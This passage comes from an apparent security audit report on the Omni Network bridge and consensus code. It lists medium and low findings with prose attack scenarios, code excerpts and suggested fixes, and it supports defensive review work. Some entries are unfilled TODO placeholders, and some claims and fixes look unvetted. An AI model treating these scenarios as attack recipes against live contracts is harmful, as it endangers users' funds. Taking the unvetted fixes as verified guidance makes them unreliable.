     * @param to            Address of contract to call on destination chain
     * @param data          ABI Encoded function calldata
     * @param gasLimit      Execution gas limit, enforced on destination chain
     */
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);

        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

An `xcall` is used for CCTX in general, it's specifically used by the tokens bridge to bridge tokens. This happen when a particular payload is given to `_bridge` function:

```
/**
 * @dev Trigger a withdraw of `amount` OMNI to `to` on L1, via xcall.
 */
function _bridge(address to, uint256 amount) internal {
    // checks

    require(to != address(0), "OmniBridge: no bridge to zero");
    require(amount > 0, "OmniBridge: amount must be > 0");
    require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");
    require(msg.value >= amount + bridgeFee(to, amount), "OmniBridge: insufficient funds");

...
    omni.xcall{ value: msg.value - amount }(
        l1ChainId,
        ConfLevel.Finalized,
        l1Bridge,
        abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
        XCALL_WITHDRAW_GAS_LIMIT
    );

...
}
```

The xcall made here is the same one from the `OmniPortal`, meaning we can trigger bridging tokens just by crafting the correct payload for the xcall.

The impact is two-fold:

1. Direct bypass of bridge contract security checks (the 4 require statements in _bridge())
2. Ability to circumvent bridge pausing by directly using xcall()

- Recommendation Do not allow xcalls like this:

```
    omni.xcall{ value: msg.value - amount }(
        l1ChainId,
        ConfLevel.Finalized,
        l1Bridge,
        abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
        XCALL_WITHDRAW_GAS_LIMIT
    );
```

but are not coming from one of the token bridge ends.

3.5.64 Validators may fail to unjail due to no self-delegation

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The process of unjail on the Omni chain is as follows:

1. The validator calls `Slashing.unjail` on the execution layer, and transfer funds to `BurnAddr`
2. The `Slashing` contract on the execution layer will emit a `Unjail` event
3. The consensus layer captures the `Unjail` event and executes `NewMsgUnjail`

However, the problem now is that if the step 3 fails, the funds in the step 1 will not be returned to the user. Step 3 may fail for the following reasons:

- The validator has no self-delegation.
- Finding Description

The `slashing.Unjail` function code inside the Cosmos SDK is as follows.

```
///// @file: https://github.com/cosmos/cosmos-sdk/blob/v0.52.0-beta.2/x/slashing/keeper/unjail.go#L14-L71
func (k Keeper) Unjail(ctx context.Context, validatorAddr sdk.ValAddress) error {
--snip--

    // cannot be unjailed if no self-delegation exists
    selfDel, err := k.sk.Delegation(ctx, sdk.AccAddress(validatorAddr), validatorAddr)
    if err != nil {
        return err
    }

--snip--
}
```

Please refer to the above code. If the validator does not have self-delegation, unjail will fail.

- Impact Explanation

Medium. The validator will lose 0.1 OMNI tokens.

- Likelihood Explanation

Medium. Validators are allowed to have no self-delegation.

- Recommendation

It is recommended to check whether the validator has self-delegation, or return the funds to the validator after the unjail fails.

3.5.65 `evmengine.PrepareProposal` should delete existing `req.Txs` instead of returning an error

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `evmengine.PrepareProposal` function is responsible for preparing a new proposal. CometBFT describes this interface as follows.

> `RequestPrepareProposal` contains a preliminary set of transactions `txs` that CometBFT retrieved from the mempool, called *raw proposal*. The Application can modify this set and return a modified set of transactions via `ResponsePrepareProposal.txs` .
>
> Extracted from: https://github.com/cometbft/cometbft/blob/v0.37.13/spec/abci/abci%2B%2B_methods.md#parameters-and-types

Therefore, if there are transactions in the local mempool of the validator node, they will be collected and passed to `evmengine.PrepareProposal`. The problem is that when receiving a transaction in the mempool, `evmengine.PrepareProposal` willdirectly return an error instead of deleting it.

- Finding Description

The `evmengine.PrepareProposal` function code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/octane/evmengine/keeper/abci.go#L30-L160
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
--snip--
A>  if len(req.Txs) > 0 {
A>      return nil, errors.New("unexpected transactions in proposal")
    } else if req.MaxTxBytes < cmttypes.MaxBlockSizeBytes*9/10 {
        // ConsensusParams.Block.MaxBytes is set to -1, so req.MaxTxBytes should be close to MaxBlockSizeBytes.
        return nil, errors.New("invalid max tx bytes [BUG]", "max_tx_bytes", req.MaxTxBytes)
    }

--snip--
}
```


Please see code A above. If `req.Txs` has transaction, it will return an error.

If a user submits a transaction to a validator node, then `req.Txs` will contain the transaction, which will cause the validator node to be unable to prepare a new proposal.

- Impact Explanation

High. Validators cannot prepare a new proposal.

- Likelihood Explanation

Low. Attacker needs to have access to the validator node.

- Recommendation

Delete all transactions in `req.Txs` instead of returning an error.

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
    defer func() {
        if r := recover(); r != nil {
            log.Error(ctx, "PrepareProposal panic", nil, "recover", r)
            fmt.Println("panic stacktrace: \n" + string(debug.Stack())) //nolint:forbidigo // Print stacktrace
            panic(r)
        }
    }()
    if len(req.Txs) > 0 {
-       return nil, errors.New("unexpected transactions in proposal")
+       // delete all txs
    } else if req.MaxTxBytes < cmttypes.MaxBlockSizeBytes*9/10 {
        // ConsensusParams.Block.MaxBytes is set to -1, so req.MaxTxBytes should be close to MaxBlockSizeBytes.
        return nil, errors.New("invalid max tx bytes [BUG]", "max_tx_bytes", req.MaxTxBytes)
    }
```

3.5.66 OMNI token still minted out even when the validator creation has failure

Severity: Medium Risk

Context: evmstaking.go#L166-L194

- Description

failed CreateValidator still mint the OMNI token out.

https://github.com/cosmos/cosmos-sdk/blob/3ba4661dc7cf9a3ee6517764d6b0b5c7268ed33c/x/staking/keeper/msg_server.go#L41

when calling _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)

there are various of error case when the validator failed to be created.

However, the token is still minted out to the accAddr,

this enable user to mint OMNI token for free, in this way, the user can bridge the OMNI token for free.

- Recommendation

Consider at least lock the OMNI minted or revert the OMNI token minted if the validator is failed to be created.

3.5.67 Infinite Approval Front-Running Vulnerability in WOmni Token

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `WOmni` token contract contains a vulnerability in its `transferFrom` function where users cannot effectively revoke infinite (`type(uint256).max`) approvals due to a front-running opportunity. The vulnerability stems from a conditional check that completely bypasses allowance verification when the maximum allowance is set.

https://github.com/omni-network/omni/blob/b4a803e79ba3dd72095ee098650d45ec3c6ee889/contracts/core/src/token/WOmni.sol#L88-L103

The current implementation creates a race condition where any attempt to revoke or reduce an infinite approval can be front-run by the approved spender, effectively making the approval irrevocable.

- Proof of Concept
- user approves a contract (e.g., DEX) with `type(uint256).max` allowance.
- user discovers suspicious activity and tries to revoke the approval.
- Malicious actor monitors the mempool for approval revocation transactions.
- they front-run the revocation with their own transfer.

- transfer succeeds despite the user's attempt to revoke access.
- can be repeated until the user's balance is drained

As WOmni is a wrapped version of the native token, this affects the entire bridge ecosystem.

- Recommendation

Implement Permit-Style Approvals:

```
function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
) external {
    require(deadline >= block.timestamp, "EXPIRED");
    bytes32 digest = keccak256(
        abi.encodePacked(
            "\x19\x01",
            DOMAIN_SEPARATOR,
            keccak256(
                abi.encode(
                    PERMIT_TYPEHASH,
                    owner,
                    spender,
                    value,
                    nonces[owner]++,
                    deadline
                )
            )
        )
    );
    address recoveredAddress = ecrecover(digest, v, r, s);
    require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNATURE");
    _approve(owner, spender, value);
}
```

Add Revocation Timelock:

```
mapping(address => mapping(address => uint256)) public approvalDeadlines;

function setApprovalDeadline(address spender, uint256 deadline) external {
    approvalDeadlines[msg.sender][spender] = deadline;
}

function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
    require(block.timestamp <= approvalDeadlines[src][msg.sender], "APPROVAL_EXPIRED");
    // ... rest of the function
}
```

3.6 Low Risk

3.6.1 `OmniBridgeNative --> OmniBridgeL1` could suffer `solvency concerns and be blocked` when funds are not originating from L1

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Context `OmniBridgeNative` contract is a predeployed contract at OMNI EVM genesis and will be pre-funded with native OMNI based on the OMNI L1 total supply as noted in the contract NatSpec.

```
/**
 * @title OmniBridgeNative
 * @notice The Omni side of Omni's native token bridge. Partner to OmniBridgeL1, which is deployed to Ethereum.
 *         This contract is predeployed to Omni's EVM, prefunded with native OMNI tokens to match
↪  totalL1Supply, such
 *         that each L1 token has a "sibling" native token on Omni.
```

Furthermore, a `key invariant` as described in the NatSpec of the bridge is that `l1BridgeBalance` always tracks `totalL1Supply`.

```
    /**
     * @notice Total OMNI tokens deposited to OmniBridgeL1.
     *
     *         If l1BridgeBalance == totalL1Supply, all OMNI tokens are on Omni's EVM.
     *         If l1BridgeBalance == 0, withdraws to L1 are blocked.
     *
     *         Without validator rewards, l1BridgeBalance == 0 would mean all OMNI tokens are on Ethereum.
     *         However with validator rewards, some OMNI may remain on Omni.
     *
     *         This balance is synced on each withdraw to Omni, and decremented on each bridge to back L1.
     */
    uint256 public l1BridgeBalance;
```

- Description There is **fundamental** problem with `l1BridgeBalance` invariant. Since validator rewards will mint new native OMNI on OMNI EVM, this means an **imbalance** can happen which would prevent `legetimate user` from briging back to L1, which put the bridge `insolvent and blocked` from a user perspective, as it cannot bridge funds back to L1 until users bridge funds from L1 to OMNI EVM. So one side of the bridge enforce a fixed OMNI supply (L1), while the other side (OMNI EVM) is not having a limited supply, which break this core design invariant.

Assuming validator rewards would be bridged to L1 is a `realistic scenario` based on the comment in the NatSpec. By saying `some`, indirectly that means some funds would be able to be bridged to L1.

```
However with validator rewards, some OMNI may remain on Omni.
```

So overall, there are `3 sources` of "new OMNI value" that could **unbalance the bridge**:

- Validator rewards.
- Prefunded account. (eg: `OmniGasStation` while being prefunded will be replenished over time, those funds will come from a prefunded account)
- `OmniGasPump/OmniGasStation`, as all the OMNI being fueled in OMNI EVM is actually new supply. Granted this will be limited to `maxSwap` per transaction, but that is still `2 ETH` in test.
- Proof of Concept Here is one scenario where this can happen and seems realistic. Preconditions:
- Alice, is an operator of an OMNI validator AND/OR an employe/partner of OMNI team and consequently has some funds **already baked in OMNI EVM at genesis**. Worst case, it will get minted native OMNI since it is operating a validator.
- OmniBridgeL1 hold `0 OMNI token` and this is fresh new.

---

1) Bob, a random L1 user, bridge 1000 OMNI from `L1 --> OMNI EVM` by calling `OmniBridgeL1::bridge`, which will work fine, so locking 1000 OMNI in `OmniBridgeL1` and doing the cross chain call.

2) John, another random L1 user, has a big pocket, and bridge 100k OMNI from `L1 --> OMNI EVM`, again everything works fine. `OmniBridgeL1` now holds 101000 OMNI and `l1BridgeBalance` tracks the same value.
3) After a few days, Alice decides to bridge 3000 OMNI from `OMNI EVM --> L1`, funds are coming from her validator's rewards. `l1BridgeBalance` will be reduced to `98000` and `OmniBridgeL1` will also hold less once the cross chain tx is completed (98000 OMNI only)
4) John decides to bridge back `all his stack` (which he didn't used) to L1 after few days by calling `OmniBridgeNative::bridge` with an amount of 100k OMNI (a little less to pay the fee). `l1BridgeBalance -= amount;` operation will unfortunatelly revert as `98000 -= 100000`. John will be annoyed as he cannot move his funds back somehow. Let's say he is teck savy and figure out the problem, and then retry the operation with the max he can (98000 -= 98000), that will work, but still some funds will be left on OMNI EVM which goes against his intent.
5) Bob now decides to move his funds back to L1, he spent a few, so maybe only 800 OMNI. That will revert as well at the same place as `l1BridgeBalance == 0`, hence `withdraws to L1 are blocked`.

This PoC show how any value transfered from OMNI EVN which have not originated from an L1 transfer will cause the issue described in the report at a moment or another. Let say the widthdraw would not be blocked on OMNI EVM, that would be also a problem, as `OmniBridgeL1` will not have enough locked OMNI to cover the incoming withdraw at some point.

- Impact `High` as this is putting the bridge at `solvency risk` and possibility to be `blocked`. Considering the bridge as one of the pilar of the protocol, I don't see how the impact could be lower. Furthermore, as noted by a `savy Cantina judge` alcueca in Uniswap, so downgrading the Impact based of upgradability should not be a valid reason.

```
When judging, we are supposed to not consider upgradability as a mitigation.
```

- Likelihood `High` it's almost certain that validator rewards or prefunded OMNI value will be bridged at some point which will create such `time-bomb`. Worst case, OMNI fueled by gas station would definitely be bridged back by some users, a simple scenario would be a user sending too much gas from the pump, and want to bridge it back to L1, very common use case. All those might take sometimes to play out, but at some point the bomb would explode. It will depends how much value is originating from those 3 sources which is unkwown.
- Recommendation Since OMNI supply is uncapped in OMNI EVM (validator rewards minted + prefunded + gas station) you cannot have a pure Lock/Release model on L1. The current design can only work if somehow you figure out a way to prohibits OMNI not originated from L1 to be bridged to L1 (which would add a lot of complexities to the protocol), but I'm not even sure this is something you want either. It's an interesting problem to think about to say the least and I don't have a clear solution.

3.6.2 Validator can lose out on funds by unjailing

Severity: Low Risk

Context: Slashing.sol#L35

- Description Whenever a validator calls `unjail`, the `_burnFee` function is triggered:

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    payable(BurnAddr).transfer(msg.value);
}
```

In this function, the `msg.value` is checked to ensure it is greater than or equal to the required `Fee`, which is set at 0.1 ETH:

```
uint256 public constant Fee = 0.1 ether;
```

However, in cases where the validator sends more than the required 0.1 ETH, the extra amount is not refunded. Instead, the entire `msg.value`, including the excess, is burned.

While this could be considered the validator's responsibility, we do think it is realistic that overpayment could happen from time to time. Which could ultimately lead to unneccesary loss of funds. Therefore, it's

important to implement a refund mechanism to return any excess amount sent by the validator beyond the required fee.

- Recommendation implement the necessary logic to combat this issue

3.6.3 Usage of `pause()/PauseAll` in the bridge will cause `permanent funds loss`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Context Issues related to bridge being pause are mostly OOS as stated in the contest Known Issues as follow. Nevertheless, there is an exception which is not discussed about which I will discuss in my report. This report is similar to `OM2-02` from `Sigma-prime`.

```
Bridge pausing
When a user calls bridge() to bridge OMNI tokens, an XMsg is sent to the destination chain to call the
↪  destination chain bridges withdraw() function. However, if the withdraw function is paused on the
↪  destination chain after the XMsg is emitted, the XMsg will fail to be executed on the destination.
Deposits will always be paused before withdrawals (withdrawals will only be paused if users are able to
↪  withdraw without correct validation)
```

- Description In the unfortunate scenario that a `hack` or `deep bug` happen or any reasons that justify a `pause()` usage (which use PauseAll internally), while the team claim they would always pause `Deposits` first (which would invalidate this finding), that might not be the case for all situations due to the `urgency` or the nature of the issue(see PoC) plus funds at risk involved, hence why pause() and `PauseAll` are implemented in the first place, let's examine a such scenario and evaluate accordingly.
- Proof of Concept A month after the protocol V1 is deployed and been used without incident `OmniBridgeL1` is currently holding `5M OMNI` token.

1) Bob, John, Alfredo bridge 1000 OMNI each from `OMNI EVM --> L1` by calling `OmniBridgeNative::bridge` which will work fine.
2) Unfortunately, suddenly a `malicious transaction` is detected by the monitor Go service against `OmniBridgeL1` involving `1M OMNI token`.
3) Team is notified, all hands on deck, the team quickly trigger `OmniBridgeL1::pause()` as this is where the malicious transaction came from (from a withdraw from this contract).
4) Bob, John and Alfredo transactions will fail when being executed as the OmniBridgeL1 is completely paused (PauseAll), hence **funds being lost permanently** for them.

In such critical scenario, would the team really do Pause(ACTION_BRIDGE), wait for all inflight transactions to be completed and trigger Pause(ACTION_WITHDRAW)? I don't think so. First, due to the urgency and funds at risk, they would probably not even think about it. Second, pausing deposit in this case would not resolve the issue, as the problem is originating from the withdraw, so even if they would think about it, they would Pause(ACTION_WITHDRAW) first. In a way or another, widthdraw would be paused and the inflight transactions coming from OMNI EVM would results in `funds loss`.

We can also observe that pauseAll is always checked for any pause action being checked against, so it has **precedence** over any actions.

```
    bytes32 public constant KeyPauseAll = keccak256("PAUSE_ALL");
```

```
    /**
     * @notice Returns true if `key` is paused, or all keys are paused.
     */
    function _isPaused(bytes32 key) internal view returns (bool) {
        PauseableStorage storage $ = _getPauseableStorage();
        return $._paused[KeyPauseAll] || $._paused[key];
    }
```

- Impact `High` as funds for infligh transaction would be `permanently lost`.
- Likelihood `Low` as clearly this would be a rare scenario, but clearly possible, otherwise `pause()/PauseAll` would not have been implemented.
- Recommendation This report is to **raise awarness** of the impact of using `pause()`, which should not be invalidated by the statement in the Known Issues as `by-passing the invariant claimed`

`by the team` in that respect, and neither being mentionned in `OM2-02` which is only referring to `pause(ACTION_WITHDRAW)`, and as such, even if no actual code mitigation would be required to resolve this report, it should still be deemed valid in my humble opinion.

3.6.4 TODO TODO

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

TODO

3.6.5 TODO TODO

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

TODO

3.6.6 `OmniPortal::collectFees` should validate `to` not to be address(0)

Severity: Low Risk

Context: OmniPortal.sol#L487-L499

- Context This seems to have been identified by the Lightchaser - NC-8, but the following instance as a stronger impact.
- Description `collectFees` is not verifying `to` against address(0) which can be scary. While granted this is a privileged function, you should still do this validation for safety reasons. This is the same reasoning why you added recently (just before the contest start) such validation in OmniGasPump::withdraw.
- Recommendation

```
    function collectFees(address to) external onlyOwner {
+       require(to != address(0), "OmniPortal: no zero addr");
        uint256 amount = address(this).balance;

        // .transfer() is fine, owner should provide an EOA address that will not
        // consume more than 2300 gas on transfer, and we are okay .transfer() reverts
        payable(to).transfer(amount);

        emit FeesCollected(to, amount);
    }
```

3.6.7 Relayer can lose funds if their account is multi-purpose.

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The `submit` function in the receiver side of the call can contain and malicious code which Relayer is unaware of. As the relayer is permissionless, in the future, more relayers will participate in completing the transaction for omni.

Consider the following scenario:

1. Say that Relayer A executes the `xSubmit` function on receiver side.
2. In the `xSubmit` function, a call to withdraw function in a foreign contract is made where Relayer A is holding some token balance.
3. If this foreign contract is checking tx.origin (say deposit/withdrawal were done via third party), then Relayer

A's funds will be withdrawn without his permission (since tx.origin will be the Relayer).

- Recommendation

Relayers should be advised to use an untouched wallet address so that foreign code interaction cannot harm them. This issue was also found in connext by spearbit issue 5.2.9

3.6.8 Manager can be 0 by initialize

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

`https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/FeeOracleV1.sol#L57` there is no check in the initialize but there is a check in the external ownerOnly setManager function.

3.6.9 `chainid` could be larger than `type(uint64).max`

Severity: Low Risk

Context: OmniPortal.sol#L109

- Description

A `chainid` could potentially be larger than `type(uint64).max`.

In combination with permissionless deployment this could be an issue because the `ids` are no longer unique.

- Recommendation Consider preventing deploying on chain with a `chainid` larger than `type(uint64).max`. This could for example be done by checking this in the constructor'.

3.6.10 Portals can not be removed

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description Inside the flow of `prepareVotes` `getLatestPortals` is called:

```
func (k Keeper) getLatestPortals(ctx context.Context) ([]*Portal, error) {
    if network, ok := k.latestCache.Get(); ok {
        return network.GetPortals(), nil
    }

    latestNetworkID, err := k.networkTable.LastInsertedSequence(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "get last network ID")
    } else if latestNetworkID == 0 {
        // No network exists yet, return empty list
        return nil, nil
    }

    lastNetwork, err := k.networkTable.Get(ctx, latestNetworkID)
    if err != nil {
        return nil, errors.Wrap(err, "get network")
    }

    k.latestCache.Set(lastNetwork)

    return lastNetwork.GetPortals(), nil
}
```

Inside the function, the `cache` is used to retrieve the latest portals. However, while portals can be added using the `AddPortal` method, there is currently no functionality to remove them.

Because of this, when a portal becomes inactive or stops supporting the Omni network, there will be no way to remove it from the cache.

- Impact As a result, the function will continue attempting to retrieve the non active portals' votes on every call, occupying space and using performance.
- Recommendation introduce a function that allows for removing portals in such cases

3.6.11 The use of `time.Now()` conflicts with the Cosmos SDK guidelines

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description According to the Cosmos SDK documentation:

  Avoid using `time.Now()` since nodes are unlikely to process messages at the same point in time even if they are in the same timezone. Instead, always rely on `ctx.BlockTime()` which should be the canonical definition of what "now" is.

`time.Now()` is used in several places, including within the `PrepareProposal` function to set the `triggeredAt` timestamp.

```
//..Omitted code
        triggeredAt = time.Now()
    } else {
        log.Debug(ctx, "Using optimistic payload", "height", height, "payload", payloadID.String())
    }
//..Omitted code
```

- Impact This approach could lead to time discrepancies and unpredictable behavior, as it does not adhere to the SDK's recommended practices.
- Recommendation We recommend adhering to the cosmos documentation

3.6.12 `ValidateVoteExtensions()` will remove the usage of `currentHeight` and `chainID`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In the function `PrepareVotes()`, the function `baseapp.ValidateVoteExtensions` is called:

```
    if err := baseapp.ValidateVoteExtensions(sdkCtx, k.skeeper, sdkCtx.BlockHeight(), sdkCtx.ChainID(),
↪   commit); err != nil {
        return nil, errors.Wrap(err, "validate extensions [BUG]")
    }
```

If we take a closer look at the implementation of `ValidateVoteExtensions()`, we see the following comment:

```
// ValidateVoteExtensions defines a helper function for verifying vote extension
// signatures that may be passed or manually injected into a block proposal from
// a proposer in PrepareProposal. It returns an error if any signature is invalid
// or if unexpected vote extensions and/or signatures are found or less than 2/3
// power is received.
// NOTE: From v0.50.5 `currentHeight` and `chainID` arguments are ignored for fixing an issue.
// They will be removed from the function in v0.51+.
```

`currentHeight` and `chainID` will be removed from the function. This is something to keep in mind when upgrading the `cosmos-sdk` in the future since it can temporarily break the call to `ValidateVoteExtensions()` since it will require fewer parameters.

Recommendation: When upgrading, change the `ValidateVoteExtensions()` to conform to the upgraded `cosmos-sdk` spec.

3.6.13 `moduleAccPerms` is not having the proper permissions

Severity: Low Risk

Context: app_config.go#L92-L98

- Description **Permissions** for `stakingtypes.BondedPoolName` and `stakingtypes.NotBondedPoolName` are not properly configured in the moment, but works luckly as `stakingtypes.ModuleName` point to the same string as the **staking** permission.

```
package types

...
const (

// ModuleName is the name of the staking module
ModuleName = "staking"    // <--------------------------

// StoreKey is the string store representation
StoreKey = ModuleName
...
```

```
// permissions
const (
    Minter  = "minter"
    Burner  = "burner"
    Staking = "staking"    <---------------------
)
```

- Recommendation

```
    moduleAccPerms = []*authmodulev1.ModuleAccountPermission{
        {Account: authtypes.FeeCollectorName},
        {Account: distrtypes.ModuleName},
-       {Account: stakingtypes.BondedPoolName, Permissions: []string{authtypes.Burner,
↪  stakingtypes.ModuleName}},
-       {Account: stakingtypes.NotBondedPoolName, Permissions: []string{authtypes.Burner,
↪  stakingtypes.ModuleName}},
+       {Account: stakingtypes.BondedPoolName, Permissions: []string{authtypes.Burner, authtypes.Staking}},
+       {Account: stakingtypes.NotBondedPoolName, Permissions: []string{authtypes.Burner, authtypes.Staking}},
        {Account: evmstaking.ModuleName, Permissions: []string{authtypes.Burner, authtypes.Minter}},
    }
```


3.6.14 Usage of vulnerable dependencies

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: We used `govulnchecker`, which can be installed here:

- `https://go.dev/blog/govulncheck`

to identify vulnerable dependencies inside the following Modules.

- Halo `cd` into the `halo` folder and run:
- `govulncheck -show verbose ./`

This results in 7 vulnerabilities found in either import or dependencies:

```
=== Symbol Results ===

Vulnerability #1: GO-2024-3107
    Stack exhaustion in Parse in go/build/constraint
  More info: https://pkg.go.dev/vuln/GO-2024-3107
  Standard library
    Found in: go/build/constraint@go1.23
    Fixed in: go/build/constraint@go1.23.1
    Example traces found:
      #1: halo/cmd/genesis.go:8:2: cmd.init calls types.init, which eventually calls constraint.Parse

Vulnerability #2: GO-2024-3105
    Stack exhaustion in all Parse functions in go/parser
```

```
  More info: https://pkg.go.dev/vuln/GO-2024-3105
  Standard library
    Found in: go/parser@go1.23
    Fixed in: go/parser@go1.23.1
    Example traces found:
      #1: halo/cmd/genesis.go:8:2: cmd.init calls types.init, which eventually calls parser.ParseFile

=== Package Results ===

Vulnerability #1: GO-2024-3106
    Stack exhaustion in Decoder.Decode in encoding/gob
  More info: https://pkg.go.dev/vuln/GO-2024-3106
  Standard library
    Found in: encoding/gob@go1.23
    Fixed in: encoding/gob@go1.23.1

Vulnerability #2: GO-2024-2584
    Slashing evasion in github.com/cosmos/cosmos-sdk
  More info: https://pkg.go.dev/vuln/GO-2024-2584
  Module: github.com/cosmos/cosmos-sdk
    Found in: github.com/cosmos/cosmos-sdk@v0.50.10
    Fixed in: N/A

=== Module Results ===

Vulnerability #1: GO-2023-1881
    The x/crisis package does not charge ConstantFee in
    github.com/cosmos/cosmos-sdk
  More info: https://pkg.go.dev/vuln/GO-2023-1881
  Module: github.com/cosmos/cosmos-sdk
    Found in: github.com/cosmos/cosmos-sdk@v0.50.10
    Fixed in: N/A

Vulnerability #2: GO-2023-1821
    The x/crisis package does not cause chain halt in
    github.com/cosmos/cosmos-sdk
  More info: https://pkg.go.dev/vuln/GO-2023-1821
  Module: github.com/cosmos/cosmos-sdk
    Found in: github.com/cosmos/cosmos-sdk@v0.50.10
    Fixed in: N/A

Vulnerability #3: GO-2022-0646
    Use of risky cryptographic algorithm in github.com/aws/aws-sdk-go
  More info: https://pkg.go.dev/vuln/GO-2022-0646
  Module: github.com/aws/aws-sdk-go
    Found in: github.com/aws/aws-sdk-go@v1.44.224
    Fixed in: N/A

Your code is affected by 2 vulnerabilities from the Go standard library.
This scan also found 2 vulnerabilities in packages you import and 3
vulnerabilities in modules you require, but your code doesn't appear to call
these vulnerabilities.
```

The code in `halo` is only affected by two of those vulnerabilities.

We ran the same command inside `octane/evmengine/keeper` and that module contains vulnerable libraries and imports, but they are not used in the module code.

Recommendation: Resolve the warnings.

3.6.15 Architecture dependent code used

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Inside the `in-scope` folders and files, we can notice a lot of usage of `int`. As per the Golang docs:

- https://go.dev/tour/basics/11

`int` is dependent on the architecture that it is ran on, 32-bit architecture will result in `int32` and 64-bit will result in `int64`.

Recommendation: This will normally not cause any problems but it does leave open edge-cases that can happen, which is why it's recommended to use `int64`.

3.6.16 `Redundant negative power` validation

Severity: Low Risk

Context: keeper.go#L245-L247

- Description `val.GetPower() < 0` is validated twice, which is redundant. It happen first in the `Validate` function as follow.

```
func (v *Validator) Validate() error {
    if v == nil {
        return errors.New("nil validator")
    } else if v.GetPower() < 0 { // <-----------------------------
        return errors.New("negative power")
    } else if len(v.GetPubKey()) != k1.PubKeySize {
        return errors.New("invalid pubkey size")
    } else if v.GetValsetId() != 0 {
        return errors.New("valset id already set")
    }

    return nil
}
```

- Recommendation Remove the redundancy.

```
    for _, val := range vals {
        if err := val.Validate(); err != nil { // <---------- First validation happen here
            return 0, err
        }

        val.ValsetId = valset.GetId()
        err = k.valTable.Insert(ctx, val)
        if err != nil {
            return 0, errors.Wrap(err, "insert validator")
        }

        totalPower += val.GetPower()
-       if val.GetPower() < 0 {
-           return 0, errors.New("negative power")
-       }

        pubkey, err := crypto.DecompressPubkey(val.GetPubKey())
        if err != nil {
            return 0, errors.Wrap(err, "get pubkey")
        }
        powers[crypto.PubkeyToAddress(*pubkey)] = val.GetPower()
    }
```

3.6.17 `valsync` is using deprecated `HasABCIEndBlock`

Severity: Low Risk

Context: module.go#L34

- Description Using `HasABCIEndBlock` seems deprecated and based on previous Cosmos SDK version. You should use the same as `attest` module which is **appmodule.HasEndBlocker** instead.
- Recommendation

```
var (
    _ module.AppModuleBasic  = (*AppModule)(nil)
    _ module.HasGenesis      = (*AppModule)(nil)
-   _ module.HasABCIEndBlock = (*AppModule)(nil)
+   _ module.HasEndBlocker = (*AppModule)(nil)
    _ appmodule.AppModule    = (*AppModule)(nil)
)
```

3.6.18 `Halt chain risk` due to Attest module `EndBlock unbounded loop`

Severity: Low Risk

Context: keeper.go#L648-L660

- Context As noted in the official documentation `EndBlock` run as the end of every new finalized block but needs to be used with care as noted:

```
as complex automatic functions can slow down or even halt the chain.
```

- Description `Attest module` is currently implementing the `EndBlock` handler todo some custom logic which is to approve any pending attestation votes as some might have reach quorum. My concern is related to the Approve function below. It will fetch the `ALL the Pending` vote from `ALL the chains` and loop over it, so it's an "**unbounded loop**", which can be very risky in Begin/EndBlock context, which could potentially **halt the chain**, at minimum slow it down and not follow the `2 seconds` block pace.

This table (k.attTable) is being populated by gRPC `AddVotes` handler, which could potentially spike of legetimate messages or worst could be abused by a malicious validator.

```
func (k *Keeper) Approve(ctx context.Context, valset ValSet) error {
    defer latency("approve")()

    pendingIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatus(uint32(Status_Pending))
    iter, err := k.attTable.List(ctx, pendingIdx) // <-------------- this could be huuuuge.
    if err != nil {
        return errors.Wrap(err, "list pending")
    }
    defer iter.Close()

    approvedByChain := make(map[xchain.ChainVersion]uint64) // Cache the latest approved attestation offset by
↪   chain version.
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return errors.Wrap(err, "value")
        }
        chainVer := att.XChainVersion()
        chainVerName := k.namer(chainVer)

        ...
```

- Recommendation Would highly suggest to limit the amount of vote you want to process here per EndBlock call. The downside for the user is minimal, as it will get validated soon enough, maybe few blocks after. Nevertheless, the downside for the protocol is massive.

